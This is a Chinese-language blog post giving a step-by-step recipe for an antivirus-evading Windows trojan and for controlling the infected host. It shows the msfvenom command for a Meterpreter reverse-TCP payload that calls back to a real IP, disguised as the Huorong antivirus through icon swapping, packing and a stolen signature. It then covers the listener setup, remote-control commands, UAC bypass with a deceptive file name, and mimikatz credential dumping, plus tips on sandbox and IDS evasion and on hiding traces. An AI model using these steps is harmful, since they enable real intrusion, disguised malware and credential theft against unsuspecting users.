一次msf免杀渗透入门实践

攻击对象:windows主机

一.木马制作

1.准备工具

kali-linux
Metasploit模块(msfvenom和msfconsole)
VMP加壳软件
https://gitcode.com/Universal-Tool/42a67/blob/main/VMProtect%20Ultimate%20v3.3.1.zip
sigthief签名软件
https://github.com/secretsquirrel/SigThief
ResHacker资源替换软件https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

2.创建shell(编码加密+捆绑软件)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.239.21.238 LPORT=1235 -e x86/shikata_ga_nai -x test.exe -i 12 -f exe -O huorong.exe 

-p:指定payload类型为Windows Meterpreter反向TCP连接

LHOST:控制端IP地址

LPORT:控制端监听端口

-e x86/shikata_ga_nai:指定编码器为shitaka_ga_nai(一种多态编码器,适合x86架构)

-x test.exe:指定要捆绑的原始可执行文件

-i 12:指定12次编码(多次编码可以增强免杀效果,但会增加文件大小)

-f exe:指定输出格式为windows可执行文件

-O:输出木马到指定文件

3.替换资源

用RH替换火绒的图标

捕获

4.vmp加壳

打开vmp,使用vmp进行加壳

捕获1

5.数字签名

将sigthief.py文件放在当前目录下

python sigthief.py -i HipsMain.exe -t huorong.exe -o hr.exe

-i:要提取签名的文件

-t:应用签名的文件

-o:输出的目标文件

捕获2

6.查杀结果(23/72)

捕获3

说实话,这个免杀还是太简陋了点,应该再加点pe修改或多次加密,最好是自研脚本(1/62的查杀率:D)

二.远程控制

tip(核心难点:通过社工把这个木马安然无恙放到目标主机上,当然要是对方电脑上啥安全措施都没就当我没说)

1.打开msfconsole

msfconsole

2.选择监听器

use exploit/multi/handler

exploit/multi/handler:一个多功能监听器(建立监听岗位)

3.配置载荷

set payload windows/meterpreter/reverse_tcp

windows/meterpreter/reverse_tcp:建立一个反向TCP连接(由机器内部向外网发起连接,更容易成功)

4.配置攻击机设置

set LHOST 47.239.21.238
set LPORT 1235

这里的LHOST与LPORT必须跟木马的一致

5.显示配置

show options

6.开始监听

exploit(或run)

当木马在目标机上运行时,攻击机就能与目标机进行连接从而实现控制目的

捕获4

三.控制指令

run vnc -i#监视屏幕
upload ./oriFile ./desName#上传文件到靶机
download ./desFile ./local#下载靶机文件
shell#进入靶机终端
sysinfo#显示靶机基本信息
screenshot#屏幕截图

四. 反病毒与防御绕过

在实际渗透测试中,防病毒软件、入侵检测系统(IDS)、入侵防御系统(IPS)等防御措施通常会成为绕过攻击的一个大难题。为了提高渗透测试成功的几率,理解如何绕过这些防御措施是非常重要的。

1. 反病毒绕过

反病毒软件通常通过签名检测、行为分析和沙箱技术来发现和拦截恶意软件。针对这些防御技术,可以采用以下方法绕过:

  • 加密与编码:通过多次编码和加壳来改变恶意代码的特征,使其难以被反病毒软件识别。例如,使用msfvenom的-e参数指定编码器,如x86/shikata_ga_nai,以及多次编码(-i参数)。
  • 使用多种加壳工具:除了VMP(VMProtect)之外,还可以使用其他加壳工具,如Themida、Enigma Protector等,来进一步增强木马的隐蔽性。
  • 注入合法进程:通过将恶意载荷注入到合法进程(如explorer.exe、svchost.exe)中,从而绕过反病毒软件的监控。
  • 利用签名伪装:使用SigThief等工具获取有效的数字签名并伪装恶意文件,以提高木马的可信度。

2. 沙箱检测绕过

现代的反病毒软件往往会将未知程序发送到虚拟沙箱中执行,以检测其是否为恶意软件。为此,可以采取以下策略:

  • 延迟执行:通过在恶意代码中加入延时代码,推迟代码执行的时间,从而避免在沙箱中被立即检测到。
  • 反沙箱检测:通过检查系统环境(如检测是否处于虚拟机中),在程序启动时决定是否执行恶意载荷。

3. 反入侵检测系统(IDS/IPS)绕过

入侵检测和防御系统的目的是监控和拦截网络中的恶意行为。为了绕过这些系统,可以采取以下技术:

  • 流量加密:通过加密通信流量,防止IDS/IPS检测到恶意流量的特征。
  • 变换攻击模式:通过变换攻击的方式(如对shellcode进行变形或使用不同的攻击方法),使得攻击流量不易被IDS/IPS的规则库检测到。

五. 后渗透技巧

一旦成功获取了目标主机的控制权,后渗透阶段的目标通常是扩大权限、横向移动和收集更多的信息。以下是一些常见的后渗透技巧:

1. 权限提升

  • 利用弱密码:通过暴力破解或字典攻击,获取目标主机上的管理员权限。
  • 利用漏洞:针对操作系统或应用程序中的已知漏洞(如MS17-010 EternalBlue)进行漏洞利用,提升权限。

2. 横向移动

  • Pass-the-Hash:通过捕获目标主机上的哈希值,将其用作身份验证,访问同一网络中的其他主机。
  • RDP攻击:利用已获取的凭证,通过远程桌面协议(RDP)访问其他目标主机。

3. 信息收集

  • 系统信息收集:使用sysinfoipconfignetstat等命令收集目标主机的基本信息。
  • 凭证抓取:使用mimikatz等工具抓取目标主机上的明文密码、存储在Windows凭据管理器中的密码、LSA凭证等。

4. 保持持久性

  • 植入反向Shell:通过修改注册表或启动项,确保恶意代码在每次重启后自动运行。
  • 建立反向连接:利用如netcat等工具,配置目标主机与攻击机之间的反向连接,保持持久的访问权限。

六. 防御与检测

了解防御技术对于渗透测试者来说至关重要。只有了解了防御方的做法,才能设计有效的攻击策略。

1. 反病毒与IDS/IPS监控

反病毒软件通常会监控文件系统中的可疑活动,IDS/IPS会监控网络流量。渗透测试者需要了解如何绕过这些监控,或者模拟防御方可能采取的反制措施。

2. 日志审计与分析

许多组织会启用日志记录功能,特别是针对管理员权限的操作。日志审计可以帮助检测异常行为。因此,攻击者需要注意隐藏操作痕迹,甚至伪造日志条目。

3. 基于行为的检测

许多高级反病毒软件和IDS/IPS系统都采用了行为分析,检测程序是否表现出恶意行为。因此,攻击者需要避免使用常见的攻击模式,并尽量使攻击行为更隐蔽

拓展内容:

1.msfconsole相关命令

常用监听器配置
set ExitOnSession false#接收多个会话
exploit -j#让监听器在后台运行
set AutoRunScript post/windows/manage/migrate自动迁移进程(避免程序关闭导致会话丢失)
常用payload
set payload windows/meterpreter/reverse_tcp#反向TCP
set payload windows/meterpreter/reverse_https#反向HTTPS
set payload windows/meterpreter/bind_tcp#绑定TCP
set payload linux/x64/meterpreter/reverse_tcp#linux系统反向TCP
set payload android/meterpreter/reverse_tcp#安卓应用反向TCP

2.在msf中使用kiwi(Mimikatz)模块

提权(如果当前权限非Administrator或System时):

方法一:

getuid#查看当前系统权限
getsystem#多数情况下不能获取,可以试一下

方法二:

background#把会话放到后台
use exploit/windows/local/bypassuac#尝试绕过UAC
set session [UID]#设置会话
exploit

方法三:

use exploit/windows/local/ask#利用UAC提权
set session [UID]
set FILENAME System32.exe#设置一个迷惑的名字
exploit
##靶机只要允许程序运行即可提权

查看当前权限:

run post/windows/gather/win_privs#如果在本地管理员组就能用kiwi

kiwi相关用法:

load kiwi#加载kiwi模块
creds_all#列举所有凭据
creds_msv#列举所有msv凭据
creds_ssp#列举所有ssp凭据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz命令
kiwi_cmd privilege::debug#尝试获取debug权限
kiwi_cmd sekurlsa::logonpasswords#使用kiwi抓取全部明文密码

参考资料:https://blog.csdn.net/weixin_46236101/article/details/114745232?spm=1001.2014.3001.5506

https://blog.csdn.net/weixin_74545038/article/details/134315726?spm=1001.2014.3001.5502

posted @ 2025-12-16 19:25  hhcgchpspk  阅读(21)  评论(0)    收藏  举报